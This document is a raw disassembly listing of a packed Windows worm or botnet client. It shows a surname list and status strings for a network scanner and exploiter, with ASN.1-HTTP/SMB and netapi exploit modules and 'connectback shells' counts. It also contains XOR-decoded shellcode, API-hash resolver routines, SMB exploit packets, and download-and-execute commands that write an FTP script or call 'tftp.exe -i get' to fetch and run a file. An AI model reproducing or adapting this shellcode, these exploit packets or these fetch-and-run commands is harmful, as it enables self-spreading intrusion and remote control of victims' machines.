aBady		db 'Bady',0             ; DATA XREF: .packed:0042ED4Co
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .packed:0042ED48o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .packed:0042ED44o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .packed:0042ED40o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: .packed:0042ED3Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .packed:0042ED38o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .packed:0042ED34o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .packed:0042ED30o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .packed:0042ED2Co
aAurelius	db 'Aurelius',0         ; DATA XREF: .packed:0042ED28o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .packed:0042ED24o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .packed:0042ED20o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .packed:0042ED1Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .packed:0042ED18o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .packed:0042ED14o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: .packed:0042ED10o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .packed:0042ED0Co
aArbia		db 'Arbia',0            ; DATA XREF: .packed:0042ED08o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .packed:0042ED04o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .packed:0042ED00o
aAnsley		db 'Ansley',0           ; DATA XREF: .packed:0042ECFCo
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .packed:0042ECF8o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .packed:0042ECF4o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: .packed:0042ECF0o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .packed:0042ECECo
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .packed:0042ECE8o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .packed:0042ECE4o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .packed:0042ECE0o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .packed:0042ECDCo
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .packed:0042ECD8o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: .packed:0042ECD4o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .packed:0042ECD0o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .packed:0042ECCCo
aAltavilla	db 'Altavilla',0        ; DATA XREF: .packed:0042ECC8o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .packed:0042ECC4o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .packed:0042ECC0o
aAleks		db 'Aleks',0            ; DATA XREF: .packed:0042ECBCo
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .packed:0042ECB8o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .packed:0042ECB4o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .packed:0042ECB0o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .packed:0042ECACo
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .packed:0042ECA8o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .packed:0042ECA4o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .packed:0042ECA0o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: .packed:0042EC9Co
aAdams		db 'Adams',0            ; DATA XREF: .packed:0042EC98o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: .packed:0042EC94o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .packed:off_42EC90o
		align 4
aPc		db 'PC',0               ; DATA XREF: .packed:0040ACF1o
		align 4
aS_3		db '%s|',0              ; DATA XREF: .packed:0040AD72o
aS_4		db '[%s]|',0            ; DATA XREF: .packed:0040AE7Co
		align 4
a???		db '???',0              ; DATA XREF: .packed:loc_40AE73o
					; sub_41B1FC:loc_41B2BFo
a2k3		db '2K3',0              ; DATA XREF: .packed:0040AE6Co
aXp_0		db 'XP',0               ; DATA XREF: .packed:0040AE5Eo
					; sub_41B1FC+AAo
		align 4
a2k		db '2K',0               ; DATA XREF: .packed:0040AE4Eo
					; sub_41B1FC+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .packed:0040AE35o
					; sub_41B1FC+7Eo
		align 4
a98		db '98',0               ; DATA XREF: .packed:0040AE25o
					; sub_41B1FC+6Co
		align 10h
aNt_1		db 'NT',0               ; DATA XREF: .packed:0040AE15o
					; sub_41B1FC+5Ao
		align 4
a95		db '95',0               ; DATA XREF: .packed:0040AE07o
					; sub_41B1FC+46o
		align 4
aD_2		db '[%d]',0             ; DATA XREF: sub_40AEC2+1Bo
		align 10h
		jmp	short loc_432924
; ---------------------------------------------------------------------------


loc_432922:				; CODE XREF: .packed:loc_432924p
		jmp	short loc_432929
; ---------------------------------------------------------------------------


loc_432924:				; CODE XREF: .packed:00432920j
		call	loc_432922


loc_432929:				; CODE XREF: .packed:loc_432922j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_432930:				; CODE XREF: .packed:00432935j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_432930
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_432946:				; CODE XREF: .packed:0043294Bj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_432946
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_4329E8
		jnz	short loc_4329D4
		retn
; ---------------------------------------------------------------------------


loc_4329D4:				; CODE XREF: .packed:004329D1j
					; .packed:004329E1j
		call	near ptr loc_4329D9+1


loc_4329D9:				; CODE XREF: .packed:loc_4329D4p
		add	[edx+0], ch
		call	sub_4329E8
		jz	loc_4329D4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4329E8	proc near		; CODE XREF: .packed:004329CCp
					; .packed:004329DCp
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_4329E8	endp

; ---------------------------------------------------------------------------
		align 4
dword_432A14	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B04A+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B215+51o
		align 10h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B215+35o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40B71C+4Fo
					; sub_40BFAA+155o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B656+30o
		align 4
		dd 5 dup(0)
dword_432A90	dd 0B97h						; sub_401B66+1CEFo ...
off_432A94	dd offset sub_40E80D	; DATA XREF: sub_40BFAA+1D7r
dword_432A98	dd 0							; .packed:0040D2F9r ...
dword_432A9C	dd 1		dword_432AA0	dd 1		dword_432AA4	dd 0				dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EA05h, 0
		dd 1, 2	dup(0)
aNet1		db 'net1',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DDC4h, 0
		dd 1, 2	dup(0)
		dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DDC4h, 0
		dd 1, 2	dup(0)
aNet2		db 'net2',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E2B0h, 0
		dd 1, 2	dup(0)
		dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40E2B0h, 0
		dd 1, 2	dup(0)
aNet3		db 'net3',0
		align 10h
		dd 454E0000h, 49504154h, 6 dup(0)
		dd 8Bh,	40E6CDh, 0
		dd 1, 2	dup(0)
		dd 2D74656Eh, 33h, 454E0000h, 49504154h, 6 dup(0)
		dd 1BDh, 40E6CDh, 0
		dd 1, 2	dup(0)
aXmass		db 'xmass',0
		align 10h
		dd 616C0000h, 3331646Eh, 39h, 5	dup(0)
		dd 8Bh,	40D6F8h, 0
		dd 2 dup(1), 0
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 10h
		dd 4 dup(0)
		dd 50h,	40D13Dh, 0
		dd 2 dup(1), 0
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D13Dh, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
aAsn_1SmbNt	db 'ASN.1-SMB NT',0
		align 10h
		dd 4 dup(0)
		dd 8Bh,	40D13Dh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aNet1_0		db 'net1',0
		align 10h
		db 2 dup(0)
byte_432DB2	db 1			; DATA XREF: sub_401B66:loc_4037A5r
					; sub_401B66+1C49o
aNet2_0		db 'net2',0
		dd 0
		dd 656E0100h, 3374h, 0
		dd 1, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_432DEA

; =============== S U B	R O U T	I N E =======================================



sub_432DDA	proc near		; CODE XREF: sub_432DDA:loc_432DEAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_432DE2:				; CODE XREF: sub_432DDA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432DE2
		jmp	short loc_432DEF
; ---------------------------------------------------------------------------


loc_432DEA:				; CODE XREF: .packed:00432DD8j
		call	sub_432DDA


loc_432DEF:				; CODE XREF: sub_432DDA+Ej
		jo	short near ptr dword_432D6C+1Eh
		cwde
		cdq
		cdq
		retn
sub_432DDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B4C9+85o
		align 4
dword_432F6C	dd 25370320h, 203A0373h, 2C6425hunk_432F78	db  2Dh	; -		; DATA XREF: sub_40B4C9+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_432F98	db  2Dh	; -		; DATA XREF: sub_40B597+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_432FE0	db  2Dh	; -		; DATA XREF: sub_40B602+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B656+7Eo
dword_43301C	dd 25370320h, 28200373h, 73253403h, 2C2903hdword_43302C	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B656+14o
		dd 7473694Ch, 3Ah
unk_433048	db  2Dh	; -		; DATA XREF: sub_40B71C+16Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_43307C	db  2Dh	; -		; DATA XREF: sub_40B71C+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4330AC	db  2Dh	; -		; DATA XREF: sub_40B8CE+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4330CC	db  2Dh	; -		; DATA XREF: sub_40B8CE+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_4330E8	db  2Dh	; -		; DATA XREF: sub_40B945+4C5o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43311C	db  2Dh	; -		; DATA XREF: sub_40B945+386o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_433154	db  2Dh	; -		; DATA XREF: sub_40B945+326o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_433184	db  2Dh	; -		; DATA XREF: sub_40B945+25Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4331B8	db  2Dh	; -		; DATA XREF: sub_40B945+1FFo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_4331EC	db  2Dh	; -		; DATA XREF: sub_40B945+137o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_433220	db  2Dh	; -		; DATA XREF: sub_40BFAA+DCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_433248	db  2Dh	; -		; DATA XREF: sub_40BFAA+84o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433280	db  2Dh	; -		; DATA XREF: sub_40C1BE+1E0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_4332C0	db  2Dh	; -		; DATA XREF: sub_40C1BE+168o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4332F8	db  2Dh	; -		; DATA XREF: sub_40C1BE+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43332C	db  2Dh	; -		; DATA XREF: sub_40C1BE+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 10h
unk_433360	db  2Dh	; -		; DATA XREF: sub_40C415+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_433388	db  2Dh	; -		; DATA XREF: sub_40C4E2+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 10h
unk_4333B0	db  2Dh	; -		; DATA XREF: sub_40C5D3+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_4333DC	db  2Dh	; -		; DATA XREF: sub_40C5D3+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40C94C+B2o
		align 4
dword_433414	dd 10FF8h, 0	dword_43341C	dd 10FF8h	dword_433420	dd 7FFDF020h, 0	dword_433428	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4334B0	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4334E0	dd 0				dd 800000D4h, 2	dup(0)
unk_4334F0	db  81h	; 		; DATA XREF: sub_40CE45+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_433540	db 41h			; DATA XREF: sub_40CEE3+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_433588	proc near		; DATA XREF: .packed:0040D1BFo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_433684
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43369A
		mov	[esi+8], eax
		call	sub_43364D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43369A
		mov	[esi+0Ch], eax
		call	sub_4335FF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43369A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_433588	endp


; =============== S U B	R O U T	I N E =======================================



sub_4335FF	proc near		; CODE XREF: sub_433588+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_433628
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4335FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_433628	proc near		; CODE XREF: sub_4335FF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_433637:				; CODE XREF: sub_433628+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_433644
		inc	ebx
		jmp	short loc_433637
; ---------------------------------------------------------------------------


loc_433644:				; CODE XREF: sub_433628+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_433628	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43364D	proc near		; CODE XREF: sub_433588+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_433665:				; CODE XREF: sub_43364D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43366D
		mov	ecx, [ecx]
		jmp	short loc_433665
; ---------------------------------------------------------------------------


loc_43366D:				; CODE XREF: sub_43364D+1Aj
		mov	edx, edi


loc_43366F:				; CODE XREF: sub_43364D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_433679
		mov	edx, [edx+4]
		jmp	short loc_43366F
; ---------------------------------------------------------------------------


loc_433679:				; CODE XREF: sub_43364D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43364D	endp


; =============== S U B	R O U T	I N E =======================================



sub_433684	proc near		; CODE XREF: sub_433588+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_433684	endp


; =============== S U B	R O U T	I N E =======================================



sub_43369A	proc near		; CODE XREF: sub_433588+16p
					; sub_433588+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4336B0:				; CODE XREF: sub_43369A+33j
		jecxz	short loc_4336EA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4336BD:				; CODE XREF: sub_43369A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4336C9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4336BD
; ---------------------------------------------------------------------------


loc_4336C9:				; CODE XREF: sub_43369A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4336B0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4336EA:				; CODE XREF: sub_43369A:loc_4336B0j
					; sub_43369A:loc_4336EAj
		jmp	short loc_4336EA
sub_43369A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4336F0	proc near		; DATA XREF: .packed:0040D16Do

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_433742
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43370D:				; CODE XREF: sub_4336F0+38j
		jecxz	short loc_43373D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_433718:				; CODE XREF: sub_4336F0+32j
		lodsb
		test	al, al
		jz	short loc_433724
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_433718
; ---------------------------------------------------------------------------


loc_433724:				; CODE XREF: sub_4336F0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43370D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43373D:				; CODE XREF: sub_4336F0:loc_43370Dj
		mov	[esp+arg_0], ebx
		retn
sub_4336F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_433742	proc near		; CODE XREF: sub_4336F0+7p

; FUNCTION CHUNK AT 0043377A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43375B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_433766
; ---------------------------------------------------------------------------


loc_43375B:				; CODE XREF: sub_433742+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_433766:				; CODE XREF: sub_433742+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43377A
sub_433742	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43376D	proc near		; CODE XREF: sub_433742:loc_43377Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43376D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_433742


loc_43377A:				; CODE XREF: sub_433742+29j
		call	sub_43376D


loc_43377F:				; DATA XREF: sub_40C94C+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_433742
; ---------------------------------------------------------------------------
		dw 0
dword_433784	dd 62B0606h, 2050501h, 0A0hdword_433790	dd 30h		dword_433794	dd 0A1h		dword_433798	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_40C94C+153o
		align 4


loc_4337A4:				; DATA XREF: sub_40C94C+E8o
		jmp	short near ptr dword_4337AC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4337AC	dd 0		aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .packed:0040D194o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_433818	dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------


loc_433824:				; CODE XREF: .packed:0043382Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_433824
		inc	edi
		jz	short loc_43386B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_433893
		push	es
		lahf
